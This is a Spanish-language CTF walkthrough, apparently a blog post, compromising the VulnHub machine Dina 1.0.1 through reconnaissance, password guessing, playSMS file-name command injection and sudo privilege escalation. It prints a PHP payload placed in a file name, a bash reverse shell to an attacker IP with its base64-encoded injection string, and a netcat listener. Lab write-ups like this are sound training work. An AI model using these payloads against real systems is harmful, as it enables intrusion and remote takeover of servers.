Dina 1.0.1 - Vulnhub
Descripción
En este post vamos a explotar la máquina Dina 1.0.1, utilizaremos técnicas de reconocimiento, fuerza bruta, una vulnerabilidad que explota un formulario con el cual conseguiremos RCE a través de command injection, y escalada de privilegios a través de sudo.
Reconocimiento
Realizamos un escaneo con nmap en busca de puertos abiertos sobre la máquina víctima, en este caso 192.168.1.63.
1 | nmap --open -p- -T5 192.168.1.63 -oG Puertos |
El único puerto abierto puerto abierto es el 80, en este caso se trata de un servido web. Vamos a lanzarle los scripts de reconocimiento de nmap con -sCV:
1 | ❯ cat Objetivos |
El resultado no muestra nada excesivamente interesante, excepto el archivo robots.txt. Este archivo sugiere al buscador que no indexe las urls encontradas dentro de este archivo txt, pero hay que tener mucho cuidado, ya que al ser un archivo público cualquiera puede consultarlo, vamos a echarle un ojo en ‘http://192.168.1.63/robots.txt‘:
Reconocimineto Web
Robots.Txt
1 | User-agent: * |
Interesante, vemos distintos directorios los cuales podemos visitar, vamos a ver que encontramos.
Una vez revisados todos los directorios, el único que parece útil es /nothing veamos que contiene:
Pues hasta la propia página nos lo dice, aquí no hay nada, vámonos…
¡No tan rápido!
¿Muy sospechoso no crees?
A ver ese código fuente:
1 | <html> |
¡Sorpresa! Teníamos un diccionario escondido en el html en forma de comentario, y pensar que casi nos íbamos con las manos vacías. Vamos a guardar estas credenciales que nos vendrán bien en un futuro.
En pentest reales este tipo de comentarios no te los vas a encontrar, obviamente, pero es verdad que muchas veces puedes encontrar información como la versión del software que se está utilizando o comentarios sobre la lógica de la aplicación que te permitirán entenderla mejor para su posterior explotación, encontrarse contraseñas directamente es extremadamente raro, pero no imposible.
No parece que tengamos más hilo del que tirar, vamos a intentar encontrar más directorios utilizando fuerza bruta, voy a usar WFUZZ para esta tarea.
Wfuzz
1 | wfuzz -c --hc 404 -u http://192.168.1.63/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt |
¿Secure? Veamos si es tan seguro como indica el nombre.
Con que una copia de seguridad eh… vamos a descomprimirla con 7z x backup.zip a ver que encontramos.
1 | Scanning the drive for archives: |
Fuerza Bruta
Nada, se necesita contraseña, aquí hemos acabado… ¡Espera! Tenemos el diccionario que se encontraba en http://192.168.1.63/nothing/ vamos a probar con la primera contraseña ‘freedom’:
1 | Enter password (will not be echoed): |
¡A la primera! Eso sí que es suerte, veamos que contiene backup-cred.mp3 un archivo mp3, ¿qué será? Parecen ser más credenciales en formato audio, vamos a escucharlo:
Eso sí que ha sido un buen intento, ha ocultado la extensión del archivo .txt haciéndolo pasar por una pista de audio. Habrá que ver que nos encontramos:
1 | ───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── |
¡Tenemos un usuario y un nuevo directorio! La contraseña parece no encontrarse en este archivo. Visitamos http://192.168.1.63/SecreTSMSgatwayLogin/.
Un panel de login, recordamos que tenemos un posible usuario touhid y un diccionario con diferentes credenciales freedom, password, helloworld!, diana, iloveroot. Vamos a probar por fuerza bruta a ver si tenemos suerte.
Diccionario
1 | freedom ERROR |
Explotacion De Playsms (FootHold)
La contraseña era diana, dándonos acceso al panel del usuario touhid, una vez aquí podemos estudiar los diferentes vectores de ataque que tiene playSMS, toca googlear. Investigando sobre playSMS encontré diferentes vías de ataque que te daban acceso directo a la máquina con sus respectivos modulos en Metasploit, pero en mi opinión pierde un poco la gracia, por lo que seguí investigando hasta que di con este exploit:
1 | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- |
Esta vulnerabilidad se resumen en obtener RCE a través de un formulario, el cual nos permite “subir” archivos al servidor, pero el RCE no es el contenido del archivo, ya que no se almacena en el servidor, es el nombre, es decir, poniendo de nombre al archivo <?php system('uname -a'); dia();?>.php se ejecutará el comando en el servidor:
Formulario
Resultado
¡Bum! RCE exitoso. En este momento podemos enviar una reverse shell en el nombre del archivo y tendríamos conexión a la máquina víctima. Voy a utilizar burpsuite para interceptar la petición, modificar el payload y enviarlo al servidor.
Burpsuite
Inyección Reverse Shell
Podríamos pensar que siguiendo este método obtendríamos la shell, pero cualquier comando que utilice / nos da un error, por ello investigando diferentes formas de evitar el uso de / dí con la clave, gracias a NetOsec, enviar el comando en base64 para evitar el uso de los caracteres /.
La sintaxis para transformar una cadena de texto a base64 es: echo -n "cadena" | base64.
La reverse shell en base64 quedaría tal que así: bash -i >& /dev/tcp/192.168.1.84/1234 0>&1 = YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx.
Nos ponemos por escucha en el puerto indicado e inyectamos el comando en base64, le pasamos el párametro -d para decodificarlo a texto plano y lo pipeamos con bash para que el servidor interprete la cadena como bash.
Nos quedará tal que así: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx-n | base64 -d | bash
Escucha Con Netcat
1 | ❯ nc -lvnp 1234 |
Inyectar Reverse Shell Con Burpsuite
Dejamos pasar la petición con la shell inyectada y….
1 | ❯ nc -lvnp 1234 |
Todo un exito, solo nos queda la escalada de privilegios.
Escalada De Privilegios
www-data –> root
Vamos a ver si tenemos algún permiso de super usuario como www-data con sudo -l.
1 | sudo -l |
Pues por lo que se ve, esta escalada de privilegios no va a durar mucho… Tiramos de GTFOBins
1 | www-data@Dina:/var/www/SecreTSMSgatwayLogin$ whoami |
Se acabó la escalada, esta vez ha sido sencilla y directa.
Flag
Con permisos root nos dirigimos al directorio /root/ y leemos la flag
1 | cat flag.txt |
Conocimientos Obtenidos
De esta máquina podemos extraer los siguientes conocimientos:
- Reconocimiento con
nmap. - Reconocimiento de directorios web utilizado
WFUZZ. - Explotación de un formulario de subida el cual no sanitiza correctamente el nombre de archivo consiguiendo RCE.
- Uso de
Burpsuitepara modificar las peticiones. - Escalada de privilegios a través de permisos excesivos como sudo.
Créditos Y Descarga
El autor de esta máquina es Touhid Shaikh, muchas gracias por la creación de Dina 1.0.1 aportando a la comunidad. Twitter, WEB
Podéis descargar la máquina desde aquí VulnHub
Vulnhub Es una fantastica plataforma donde CUALQUIERA puede subir sus propios CTFs, por lo tanto conlleva un riesgo. Antes de utilizar cualquier máquina os recomiendo investigar al creador y montar un entorno aislado donde se minimicen los riesgos en el caso de que la máquina puediese ser maliciosa.





